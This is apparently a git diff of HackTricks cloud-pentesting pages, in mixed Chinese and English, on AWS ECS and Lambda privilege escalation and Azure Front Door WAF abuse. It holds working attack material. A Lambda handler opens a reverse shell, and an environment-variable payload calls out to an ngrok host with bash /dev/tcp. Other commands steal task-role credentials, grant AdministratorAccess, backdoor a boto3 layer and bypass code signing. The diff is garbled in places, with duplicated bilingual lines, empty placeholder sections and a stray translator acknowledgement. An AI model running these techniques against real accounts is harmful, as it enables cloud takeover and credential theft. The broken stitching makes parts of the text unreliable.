滥用 ECS Anywhere 在受害者 ECS cluster 中将攻击者控制的主机注册为 EXTERNAL container instance,并在该主机上使用具有特权的 task 和 execution roles 运行任务。这授予对任务运行位置的操作系统级别控制(你的机器),并允许从任务和附加卷中窃取凭证/数据,而无需触碰 capacity providers 或 ASGs。
|
||||
|
||||
- 所需权限(示例最小):
|
||||
- 所需权限(示例最小集合):
|
||||
- ecs:CreateCluster (optional), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask
|
||||
- ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation
|
||||
- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (for the ECS Anywhere instance role and task/execution roles)
|
||||
- logs:CreateLogGroup/Stream, logs:PutLogEvents (if using awslogs)
|
||||
- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole(用于 ECS Anywhere 实例角色和 task/execution roles)
|
||||
- logs:CreateLogGroup/Stream, logs:PutLogEvents(如果使用 awslogs)
|
||||
|
||||
- 影响:在攻击者主机上以指定的 taskRoleArn 运行任意容器;从 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI 外泄任务角色凭证;访问任务挂载的任意卷;比修改 capacity providers/ASGs 更隐蔽。
|
||||
- 影响:在攻击者主机上以选定的 taskRoleArn 运行任意容器;从 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI 外泄 task-role 凭证;访问任务挂载的任何卷;比操纵 capacity providers/ASGs 更隐蔽。
|
||||
|
||||
步骤
|
||||
|
||||
@@ -426,7 +426,7 @@ aws ecs describe-container-instances --cluster "" --container-instances "" --que
|
||||
```bash
|
||||
aws ecs create-cluster --cluster-name ht-ecs-anywhere
|
||||
```
|
||||
2) 创建 ECS Anywhere 角色并进行 SSM 激活(用于 on-prem/EXTERNAL 实例)
|
||||
2) 创建 ECS Anywhere 角色并进行 SSM 激活(针对 on-prem/EXTERNAL instance)
|
||||
```bash
|
||||
aws iam create-role --role-name ecsAnywhereRole \
|
||||
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
|
||||
@@ -435,7 +435,7 @@ aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam:
|
||||
ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole)
|
||||
ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode)
|
||||
```
|
||||
3) 部署 attacker host 并自动将其注册为 EXTERNAL(例如:小型 AL2 EC2 作为 “on‑prem”)
|
||||
3) 部署 attacker 主机并将其自动注册为 EXTERNAL(例如:小型 AL2 EC2 作为 “on‑prem”)
|
||||
|
||||
<details>
|
||||
<summary>user-data.sh</summary>
|
||||
@@ -456,14 +456,14 @@ IID=$(aws ec2 run-instances --image-id $AMI --instance-type t3.micro \
|
||||
--user-data file://user-data.sh --query 'Instances[0].InstanceId' --output text)
|
||||
aws ec2 wait instance-status-ok --instance-ids $IID
|
||||
```
|
||||
4) 验证 EXTERNAL 容器实例是否已加入
|
||||
4) 验证 EXTERNAL 容器实例已加入
|
||||
```bash
|
||||
aws ecs list-container-instances --cluster ht-ecs-anywhere
|
||||
aws ecs describe-container-instances --cluster ht-ecs-anywhere \
|
||||
--container-instances <ci-arn> --query 'containerInstances[0].[ec2InstanceId,attributes]'
|
||||
# ec2InstanceId will be mi-XXXXXXXX (SSM managed instance id) and attributes include ecs.capability.external
|
||||
```
|
||||
5) 创建 task/execution roles, 注册 EXTERNAL task definition, 并在 attacker host 上运行它
|
||||
5) 创建 task/execution roles、注册 EXTERNAL task definition,并在 attacker host 上运行它
|
||||
```bash
|
||||
# roles
|
||||
aws iam create-role --role-name ht-ecs-task-exec \
|
||||
@@ -499,53 +499,54 @@ CI=$(aws ecs list-container-instances --cluster ht-ecs-anywhere --query 'contain
|
||||
aws ecs start-task --cluster ht-ecs-anywhere --task-definition ht-external \
|
||||
--container-instances $CI
|
||||
```
|
||||
6) 从这里你可以控制运行这些 tasks 的主机。你可以读取 task 日志(如果使用 awslogs),或者直接在主机上 exec 来外传任务的凭据/数据。
|
||||
6) 从这里你可以控制运行任务的主机。你可以读取任务日志(如果使用 awslogs),或者直接在主机上 exec 来外传任务的凭证/数据。
|
||||
|
||||
|
||||
|
||||
#### 命令示例(占位)
|
||||
#### Command example (placeholders)
|
||||
|
||||
|
||||
|
||||
|
||||
### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
|
||||
|
||||
拥有管理 ECS capacity providers 和更新 services 权限的攻击者,可以创建由自己控制的 EC2 Auto Scaling Group,将其封装为一个 ECS Capacity Provider,关联到目标集群,并将受害者的 service 迁移以使用该 provider。随后 Tasks 将被调度到攻击者控制的 EC2 instances 上,使攻击者获得操作系统级别访问以检查容器并窃取 task role 凭据。
|
||||
拥有管理 ECS capacity providers 和更新 services 权限的攻击者可以创建一个由其控制的 EC2 Auto Scaling Group,将其封装为一个 ECS Capacity Provider,关联到目标 cluster,并将受害者的 service 迁移为使用该 provider。随后,Tasks 会被调度到攻击者控制的 EC2 实例上,攻击者因此可获得 OS 级别访问,对容器进行检查并窃取 task role credentials。
|
||||
|
||||
Commands (us-east-1):
|
||||
|
||||
- 前置条件
|
||||
- Prereqs
|
||||
|
||||
|
||||
|
||||
- 为 ECS agent 创建 Launch Template 以加入 target cluster
|
||||
- Create Launch Template for ECS agent to join target cluster
|
||||
|
||||
|
||||
|
||||
- 创建 Auto Scaling Group
|
||||
- Create Auto Scaling Group
|
||||
|
||||
|
||||
|
||||
- 从 ASG 创建 Capacity Provider
|
||||
- Create Capacity Provider from the ASG
|
||||
|
||||
|
||||
|
||||
- 将 Capacity Provider 关联到集群(可选设为默认)
|
||||
- Associate the Capacity Provider to the cluster (optionally as default)
|
||||
|
||||
|
||||
|
||||
- 将某个 service 迁移到你的 provider
|
||||
- Migrate a service to your provider
|
||||
|
||||
|
||||
|
||||
- 验证 Tasks 是否落在攻击者控制的 instances 上
|
||||
- Verify tasks land on attacker instances
|
||||
|
||||
|
||||
|
||||
- 可选:从 EC2 节点使用 docker exec 进入目标容器,并读取 http://169.254.170.2 以获取 task role 凭据。
|
||||
- Optional: From the EC2 node, docker exec into target containers and read http://169.254.170.2 to obtain the task role credentials.
|
||||
|
||||
- 清理
|
||||
- Cleanup
|
||||
|
||||
|
||||
|
||||
**Potential Impact:** 攻击者控制的 EC2 节点会接收受害者的 tasks,允许对容器进行操作系统级别访问并窃取 task IAM role 凭据。
|
||||
**Potential Impact:** 攻击者控制的 EC2 节点会接收受害者的 tasks,从而获得 OS 级别访问容器并窃取 task IAM role credentials。
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## lambda
|
||||
|
||||
有关 lambda 的更多信息:
|
||||
有关 lambda 的更多信息在:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
@@ -12,11 +12,11 @@
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)
|
||||
|
||||
拥有 **`iam:PassRole`、`lambda:CreateFunction` 和 `lambda:InvokeFunction`** 权限的用户可以提升他们的权限。\\
|
||||
他们可以**创建一个新的 Lambda function 并分配一个已有的 IAM role**,从而赋予该函数与该角色关联的权限。然后用户可以**将代码写入并上传到该 Lambda function(例如包含 rev shell)**。\\
|
||||
一旦该函数设置完成,用户可以通过调用 AWS API 来**触发其执行**并完成预期操作。这种方法实际上允许用户通过 Lambda function 间接执行任务,使用与该 IAM role 关联的权限等级来运行。\\
|
||||
具有 **`iam:PassRole`, `lambda:CreateFunction`,和 `lambda:InvokeFunction`** 权限的用户可以提升他们的权限。\
|
||||
他们可以 **创建一个新的 Lambda function 并将其分配给一个现有的 IAM role**,从而赋予该函数与该角色关联的权限。然后用户可以 **为该 Lambda function 编写并上传代码(例如包含 rev shell)**。\
|
||||
一旦函数设置完成,用户可以通过调用 AWS API 来**触发其执行**并实现预期操作。此方法实质上允许用户通过该 Lambda function 间接执行任务,以与其关联的 IAM role 所授予的访问级别运行。\\
|
||||
|
||||
攻击者可以滥用此方法获取 **rev shell 并窃取 token**:
|
||||
攻击者可以滥用此方法获取 **rev shell 并窃取 token**:
|
||||
```python:rev.py
|
||||
import socket,subprocess,os,time
|
||||
def lambda_handler(event, context):
|
||||
@@ -46,8 +46,8 @@ aws lambda invoke --function-name my_function output.txt
|
||||
# List roles
|
||||
aws iam list-attached-user-policies --user-name <user-name>
|
||||
```
|
||||
你也可以从 lambda function 本身 **abuse the lambda role permissions**.\
|
||||
如果 lambda role 拥有足够的 permissions,你可以使用它来授予你 admin rights:
|
||||
你也可以从 lambda 函数本身**滥用 lambda 角色权限**。
|
||||
如果 lambda 角色拥有足够的权限,你可以利用它给自己授予管理员权限:
|
||||
```python
|
||||
import boto3
|
||||
def lambda_handler(event, context):
|
||||
@@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
|
||||
)
|
||||
return response
|
||||
```
|
||||
也可以在不需要外部连接的情况下 leak the lambda's role credentials。对于用于内部任务的 **Network isolated Lambdas** 来说这将非常有用。如果有未知的安全组在过滤你的 reverse shells,这段代码将允许你将 credentials 作为 lambda 的输出直接 leak。
|
||||
也可以在不需要外部连接的情况下 leak lambda 的 role credentials。这对于用于内部任务的 **Network isolated Lambdas** 很有用。如果有未知的 security groups 在过滤你的 reverse shells,这段代码会让你把凭证作为 lambda 的输出直接 leak 出来。
|
||||
```python
|
||||
def handler(event, context):
|
||||
sessiontoken = open('/proc/self/environ', "r").read()
|
||||
@@ -75,31 +75,31 @@ cat output.txt
|
||||
**潜在影响:** 直接 privesc 到指定的任意 lambda 服务角色。
|
||||
|
||||
> [!CAUTION]
|
||||
> 注意,尽管看起来可能很有吸引力,**`lambda:InvokeAsync`** 本身**并不**允许 **执行 `aws lambda invoke-async`**,你还需要 `lambda:InvokeFunction`
|
||||
> 注意,即使 `lambda:InvokeAsync` 看起来很有吸引力,**`lambda:InvokeAsync`** 本身并不允许执行 `aws lambda invoke-async`,你还需要 `lambda:InvokeFunction`
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`
|
||||
|
||||
像在之前的情形一样,你可以**授予自己 `lambda:InvokeFunction` 权限**,如果你拥有权限 **`lambda:AddPermission`**
|
||||
像在前一个场景一样,你可以 **授予自己 `lambda:InvokeFunction`** 权限,如果你拥有 **`lambda:AddPermission`** 权限。
|
||||
```bash
|
||||
# Check the previous exploit and use the following line to grant you the invoke permissions
|
||||
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
|
||||
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
|
||||
```
|
||||
**Potential Impact:** 直接对指定的任意 lambda 服务角色实现 privesc。
|
||||
**潜在影响:** 直接对指定的任意 lambda service role 进行 privesc。
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`
|
||||
|
||||
Users with **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:CreateEventSourceMapping`** permissions (and potentially `dynamodb:PutItem` and `dynamodb:CreateTable`) can indirectly **escalate privileges** even without `lambda:InvokeFunction`.\
|
||||
他们可以创建一个包含恶意代码的 **Lambda function 并将其分配给一个现有的 IAM role**。
|
||||
拥有 **`iam:PassRole`、`lambda:CreateFunction` 和 `lambda:CreateEventSourceMapping`** 权限的用户(可能还包括 `dynamodb:PutItem` 和 `dynamodb:CreateTable`)即使没有 `lambda:InvokeFunction`,也可以间接地 **escalate privileges**。\
|
||||
他们可以创建一个带有恶意代码的 **Lambda function 并将其分配给现有的 IAM role**。
|
||||
|
||||
用户并非直接调用 Lambda,而是设置或利用现有的 DynamoDB 表,通过 event source mapping 将其与 Lambda 关联。该配置确保当表中插入新条目时 **会自动触发 Lambda function**(由用户的操作或其他进程触发),从而间接调用 Lambda 并以所传 IAM role 的权限执行代码。
|
||||
用户不会直接调用 Lambda,而是设置或使用现有的 DynamoDB 表,通过 event source mapping 将其与 Lambda 关联。该配置确保 Lambda function 在表中有**新条目时自动被触发**,无论是由用户的操作还是其他进程触发,从而间接调用 Lambda function 并以所传递的 IAM role 的权限执行代码。
|
||||
```bash
|
||||
aws lambda create-function --function-name my_function \
|
||||
--runtime python3.8 --role <arn_of_lambda_role> \
|
||||
--handler lambda_function.lambda_handler \
|
||||
--zip-file fileb://rev.zip
|
||||
```
|
||||
如果 DynamoDB 已经在 AWS 环境中启用,用户只需要为 Lambda function 建立 **event source mapping**。但是,如果 DynamoDB 未在使用,用户必须 **create a new table** 并启用 streaming:
|
||||
如果 DynamoDB 已经在 AWS 环境中启用,用户只需为 Lambda 函数 **建立事件源映射**。然而,如果 DynamoDB 未被使用,用户必须 **创建一个新的表** 并启用流:
|
||||
```bash
|
||||
aws dynamodb create-table --table-name my_table \
|
||||
--attribute-definitions AttributeName=Test,AttributeType=S \
|
||||
@@ -107,22 +107,22 @@ aws dynamodb create-table --table-name my_table \
|
||||
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
|
||||
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
|
||||
```
|
||||
现在可以**connect the Lambda function to the DynamoDB table**,方法是**creating an event source mapping**:
|
||||
现在可以通过**creating an event source mapping**来**connect the Lambda function to the DynamoDB table**:
|
||||
```bash
|
||||
aws lambda create-event-source-mapping --function-name my_function \
|
||||
--event-source-arn <arn_of_dynamodb_table_stream> \
|
||||
--enabled --starting-position LATEST
|
||||
```
|
||||
当 Lambda 函数与 DynamoDB 流关联时,攻击者可以**通过激活 DynamoDB 流来间接触发 Lambda**。这可以通过向 DynamoDB 表中**插入一条记录**来实现:
|
||||
当与 DynamoDB stream 关联的 Lambda function 时,攻击者可以通过**激活 DynamoDB stream 来间接触发 Lambda**。这可以通过向 DynamoDB table **插入一个 item** 来完成:
|
||||
```bash
|
||||
aws dynamodb put-item --table-name my_table \
|
||||
--item Test={S="Random string"}
|
||||
```
|
||||
**潜在影响:** 直接对指定的 lambda 服务角色 进行 privesc。
|
||||
**Potential Impact:** 直接对指定的 lambda 服务角色 进行 privesc。
|
||||
|
||||
### `lambda:AddPermission`
|
||||
|
||||
拥有此权限的攻击者可以 **授予自己(或其他人)任何权限**(这会生成基于资源的策略来授予对该资源的访问):
|
||||
拥有此权限的攻击者可以**向自己(或他人)授予任意权限**(这会生成基于资源的策略以授予对该资源的访问):
|
||||
```bash
|
||||
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
|
||||
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
|
||||
@@ -130,11 +130,11 @@ aws lambda add-permission --function-name <func_name> --statement-id asdasd --ac
|
||||
# Invoke the function
|
||||
aws lambda invoke --function-name <func_name> /tmp/outout
|
||||
```
|
||||
**潜在影响:** 通过授予修改代码并运行代码的权限,可直接对 lambda 服务角色实现 privesc。
|
||||
**潜在影响:** 通过授予修改代码并运行的权限,可直接对 lambda 服务角色 实现 privesc。
|
||||
|
||||
### `lambda:AddLayerVersionPermission`
|
||||
|
||||
拥有此权限的攻击者可以 **授予自己(或他人)`lambda:GetLayerVersion` 权限**。他可以访问 layer 并查找漏洞或敏感信息。
|
||||
拥有此权限的攻击者可以 **授予自己(或其他人)`lambda:GetLayerVersion` 权限**。他可以访问该 layer 并搜索漏洞或敏感信息
|
||||
```bash
|
||||
# Give everyone the permission lambda:GetLayerVersion
|
||||
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
|
||||
@@ -143,10 +143,10 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen
|
||||
|
||||
### `lambda:UpdateFunctionCode`
|
||||
|
||||
拥有 **`lambda:UpdateFunctionCode`** 权限的用户有可能 **修改与 IAM role 关联的现有 Lambda function 的代码。**\
|
||||
攻击者可以 **修改 lambda 的代码以 exfiltrate IAM credentials**。
|
||||
拥有 **`lambda:UpdateFunctionCode`** 权限的用户有可能**修改与 IAM role 关联的现有 Lambda function 的代码。**\
|
||||
攻击者可以**修改该 Lambda 的代码以 exfiltrate the IAM credentials**。
|
||||
|
||||
尽管攻击者可能没有直接能力去 invoke the function,但如果该 Lambda function 已存在且正在运行,很可能会通过现有的工作流或事件被触发,从而间接促成被修改代码的执行。
|
||||
尽管攻击者可能没有直接能力来调用该函数,但如果该 Lambda function 已存在并正在运行,很可能会通过现有的工作流或事件被触发,从而间接促成已修改代码的执行。
|
||||
```bash
|
||||
# The zip should contain the lambda code (trick: Download the current one and add your code there)
|
||||
aws lambda update-function-code --function-name target_function \
|
||||
@@ -157,27 +157,27 @@ aws lambda invoke --function-name my_function output.txt
|
||||
|
||||
# If not check if it's exposed in any URL or via an API gateway you could access
|
||||
```
|
||||
**Potential Impact:** 直接对所使用的 lambda 服务角色进行 privesc。
|
||||
**潜在影响:** 直接对所使用的 lambda 服务角色进行 privesc。
|
||||
|
||||
### `lambda:UpdateFunctionConfiguration`
|
||||
|
||||
#### RCE via env variables
|
||||
|
||||
拥有此权限可以添加环境变量,导致 Lambda 执行任意代码。 例如在 python 中,可以滥用环境变量 `PYTHONWARNING` 和 `BROWSER` 使 python 进程执行任意命令:
|
||||
有了该权限,可以添加环境变量,使 Lambda 执行任意代码。例如,在 python 中可以滥用环境变量 `PYTHONWARNING` 和 `BROWSER` 来使 python 进程执行任意命令:
|
||||
```bash
|
||||
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
|
||||
```
|
||||
对于其他脚本语言,你可以使用其他环境变量。更多信息请查看以下关于脚本语言的子章节:
|
||||
对于其他脚本语言,你可以使用其他的 env 变量。更多信息请查看脚本语言的子章节:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html
|
||||
{{#endref}}
|
||||
|
||||
#### RCE 通过 Lambda Layers
|
||||
#### RCE via Lambda Layers
|
||||
|
||||
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) 允许在你的 lamdba 函数中包含 **code**,但将其 **单独存储**,因此函数代码可以保持精简,并且 **多个函数可以共享 code**。
|
||||
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) allows to include **code** in your lamdba function but **storing it separately**, so the function code can stay small and **several functions can share code**.
|
||||
|
||||
在 lambda 内,你可以用类似下面的函数检查加载 python code 的路径:
|
||||
在 lambda 内,你可以用如下函数检查 python code 的加载路径:
|
||||
```python
|
||||
import json
|
||||
import sys
|
||||
@@ -185,7 +185,7 @@ import sys
|
||||
def lambda_handler(event, context):
|
||||
print(json.dumps(sys.path, indent=2))
|
||||
```
|
||||
These are the places:
|
||||
这些是位置:
|
||||
|
||||
1. /var/task
|
||||
2. /opt/python/lib/python3.7/site-packages
|
||||
@@ -198,71 +198,69 @@ These are the places:
|
||||
9. /opt/python/lib/python3.7/site-packages
|
||||
10. /opt/python
|
||||
|
||||
For example, the library boto3 is loaded from `/var/runtime/boto3` (4th position).
|
||||
例如,库 boto3 是从 `/var/runtime/boto3` 加载的(第4个位置)。
|
||||
|
||||
#### Exploitation
|
||||
#### 利用
|
||||
|
||||
可以滥用权限 `lambda:UpdateFunctionConfiguration` 来**向某个 lambda 函数添加新的 layer**。为了执行任意代码,该 layer 需要包含一些该 lambda 将要导入的**库**。如果你可以读取该 lambda 的代码,就可以很容易找到这些信息;另外请注意,lambda 可能**已经在使用某个 layer**,你可以**下载**该 layer 并**在其中添加你的代码**。
|
||||
可以滥用权限 `lambda:UpdateFunctionConfiguration` 来**向 lambda 函数添加一个新的 layer(层)**。要执行任意代码,该 layer 需包含 lambda 将要 import 的某些**库**。如果你能读取该 lambda 的代码,就能轻松找到这些库。另外请注意,lambda 可能**已经在使用某个 layer(层)**,你可以**下载**该 layer 并**在其中添加你的代码**。
|
||||
|
||||
例如,假设该 lambda 正在使用库 boto3,这将创建一个包含该库最新版本的本地 layer:
|
||||
例如,假设该 lambda 正在使用库 boto3,这会创建一个包含该库最新版的本地 layer(层):
|
||||
```bash
|
||||
pip3 install -t ./lambda_layer boto3
|
||||
```
|
||||
你可以打开 `./lambda_layer/boto3/__init__.py` 并 **在全局代码中添加 backdoor**(例如:一个用来 exfiltrate credentials 或获取 reverse shell 的函数)。
|
||||
你可以打开 `./lambda_layer/boto3/__init__.py` 并 **add the backdoor in the global code**(例如一个用于 exfiltrate credentials 或获取 reverse shell 的函数)。
|
||||
|
||||
然后,将该 `./lambda_layer` 目录打包为 zip 并 **上传新的 lambda layer** 到你自己的账户(或受害者的账户,但你可能没有该权限)。\
|
||||
注意:你需要创建一个 python 文件夹并把库放进去以覆盖 /opt/python/boto3。此外,layer 必须 **与 lambda 使用的 python 版本兼容**,如果你把它上传到自己的账户,也必须在 **同一 区域:**
|
||||
然后,将 `./lambda_layer` 目录压缩为 zip 并 **upload the new lambda layer** 到你自己的账户(或在受害者的账户,但你可能没有权限)。\
|
||||
注意,你需要创建一个 python folder,并把库放到该文件夹以覆盖 /opt/python/boto3。此外,该 layer 需要与 lambda 使用的 **python version** 兼容;如果你把它上传到你的账户,它必须位于 **same region:**
|
||||
```bash
|
||||
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
|
||||
```
|
||||
现在,使上传的 lambda layer **对任何账户可访问**:
|
||||
现在,使已上传的 lambda layer **可被任意账户访问**:
|
||||
```bash
|
||||
aws lambda add-layer-version-permission --layer-name boto3 \
|
||||
--version-number 1 --statement-id public \
|
||||
--action lambda:GetLayerVersion --principal *
|
||||
```
|
||||
并将 lambda layer 附加到 victim lambda function:
|
||||
并将 lambda layer 附加到受害者的 lambda 函数:
|
||||
```bash
|
||||
aws lambda update-function-configuration \
|
||||
--function-name <func-name> \
|
||||
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
|
||||
--timeout 300 #5min for rev shells
|
||||
```
|
||||
下一步要么我们自己**调用该函数**(如果可以),要么等待它按正常方式**被调用**——这是更安全的方法。
|
||||
下一步要么是我们自己**invoke the function**(如果可以的话),要么等到它被正常方式**invoked**——后者更安全。
|
||||
|
||||
一种**更隐蔽的利用此漏洞的方法**可以在以下位置找到:
|
||||
A **more stealth way to exploit this vulnerability** 可以在以下位置找到:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
**潜在影响:** 直接 privesc 到所使用的 lambda 服务角色。
|
||||
**Potential Impact:** 直接对所使用的 lambda 服务角色进行 privesc。
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`
|
||||
|
||||
也许有了这些权限你可以创建函数并通过调用 URL 来执行它……但我找不到测试方法,如果你成功了请告诉我!
|
||||
也许有了这些权限你可以创建一个函数并通过调用 URL 来执行它……但我找不到测试方法,如果你能做到请告诉我!
|
||||
|
||||
### Lambda MitM
|
||||
|
||||
有些 lambdas 会**在参数中接收来自用户的敏感信息。**如果在其中一个获得 RCE,你可以 exfiltrate 其他用户发送给它的信息,查看:
|
||||
某些 lambdas 会**从用户的参数接收敏感信息。** 如果在其中一个获得 RCE,你可以 exfiltrate 其他用户发送给它的信息,详见:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## 参考资料
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Bypass Lambda Code Signing
|
||||
|
||||
如果 Lambda 函数强制执行代码签名,攻击者如果可以移除 Code Signing Config (CSC) 或将其降级为 `WARN`,则可以向函数部署未签名代码。这样可以在不修改函数的 IAM role 或 触发器 的情况下绕过完整性保护。
|
||||
如果 Lambda 函数强制执行代码签名,攻击者如果能移除 Code Signing Config (CSC) 或将其降级为 Warn,就可以向该函数部署未签名代码。这在不修改函数的 IAM role 或触发器的情况下绕过完整性保护。
|
||||
|
||||
Permissions (one of):
|
||||
- Path A: `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
|
||||
@@ -292,7 +290,7 @@ aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://ba
|
||||
# If the handler name changed, also run:
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
|
||||
```
|
||||
Path B) 降级为 Warn 并更新代码 (如果不允许删除):
|
||||
路径 B) 将级别降至 Warn 并更新代码(如果不允许删除):
|
||||
```bash
|
||||
CSC_ARN=$(aws lambda create-code-signing-config \
|
||||
--description ht-warn-csc \
|
||||
@@ -303,15 +301,15 @@ aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://ba
|
||||
# If the handler name changed, also run:
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
|
||||
```
|
||||
确认:我会将指定文件中的相关英文翻译为中文,保持原有的 Markdown 和 HTML 语法、标签和路径完全不变。不会翻译代码、黑客技术名称、常见黑客词、云/SaaS 平台名(如 Workspace、aws、gcp 等)、单词 "leak"、pentesting、链接或路径,也不会修改 {#tabs}、{#tab}、{#ref}...{#endref} 等标签。不会添加额外内容。请提供 README.md 的内容以便翻译。
|
||||
Verified. I will translate the relevant English text to Chinese, keep all markdown/html syntax, tags, refs and links exactly as-is, and will not translate code, hacking technique names, common hacking words, cloud/SaaS platform names, the word "leak", pentesting, links, paths or markdown tags. I will not add any extra content.
|
||||
```bash
|
||||
aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
|
||||
cat /tmp/out.json
|
||||
```
|
||||
潜在影响:能够将任意未签名的 code 推送并在本应强制使用签名部署的函数中运行,可能导致以该函数角色的权限执行 code。
|
||||
潜在影响:能够在本应强制执行签名部署的函数中推送并运行任意未签名 code,可能导致以该函数角色的权限进行 code execution。
|
||||
|
||||
清理:
|
||||
```bash
|
||||
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,17 +1,81 @@
|
||||
# Az - 文件共享
|
||||
# Az - Front Door
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## RemoteAddr 绕过
|
||||
|
||||
这篇 **[博客文章](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)** 解释了在配置 Azure Front Door 的一些网络限制时,如何基于 **`RemoteAddr`** 或 **`SocketAddr`** 进行过滤。主要区别在于 **`RemoteAddr`** 实际上使用 **`X-Forwarded-For`** HTTP 头中的值,这使得绕过变得非常简单。
|
||||
This **[blog post](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)** explains how when you are configuring some network restrictions with Azure Front Door you can filter based on **`RemoteAddr`** or **`SocketAddr`**. Being the main difference that **`RemoteAddr`** actually uses the value from the **`X-Forwarded-For`** HTTP header making it very easy to bypass.
|
||||
|
||||
为了绕过此规则,可以使用自动化工具 **暴力破解 IP 地址**,直到找到一个有效的地址。
|
||||
To bypass this rule automated tools can be used that **brute-force IP addresses** until it finds a valid one.
|
||||
|
||||
这在 [Microsoft 文档](https://learn.microsoft.com/en-us/azure/web-application-firewall/afds/waf-front-door-configure-ip-restriction) 中提到。
|
||||
This is mentioned in the [Microsoft documentation](https://learn.microsoft.com/en-us/azure/web-application-firewall/afds/waf-front-door-configure-ip-restriction).
|
||||
|
||||
## 参考
|
||||
## Credential Skimming via WAF Custom Rules + Log Analytics
|
||||
|
||||
Abuse Azure Front Door (AFD) WAF Custom Rules in combination with Log Analytics to capture cleartext credentials (or other secrets) traversing the WAF. This is not a CVE; it’s misuse of legitimate features by anyone who can modify the WAF policy and read its logs.
|
||||
|
||||
Key behavior enabling this:
|
||||
- AFD WAF Custom Rules can match on request elements including headers and POST parameters.
|
||||
- When a Custom Rule uses the action Log traffic only, evaluation continues and traffic proceeds (no short-circuit), keeping the flow normal/stealthy.
|
||||
- AFD writes verbose diagnostics to Log Analytics under Category FrontDoorWebApplicationFirewallLog. Matched payload details are included in details_matches_s along with the rule name in ruleName_s.
|
||||
|
||||
### 端到端工作流程
|
||||
|
||||
1. 确定目标 POST 参数
|
||||
- 查看登录表单并记录参数名(例如 username、password)。
|
||||
|
||||
2. 将诊断发送到 Log Analytics
|
||||
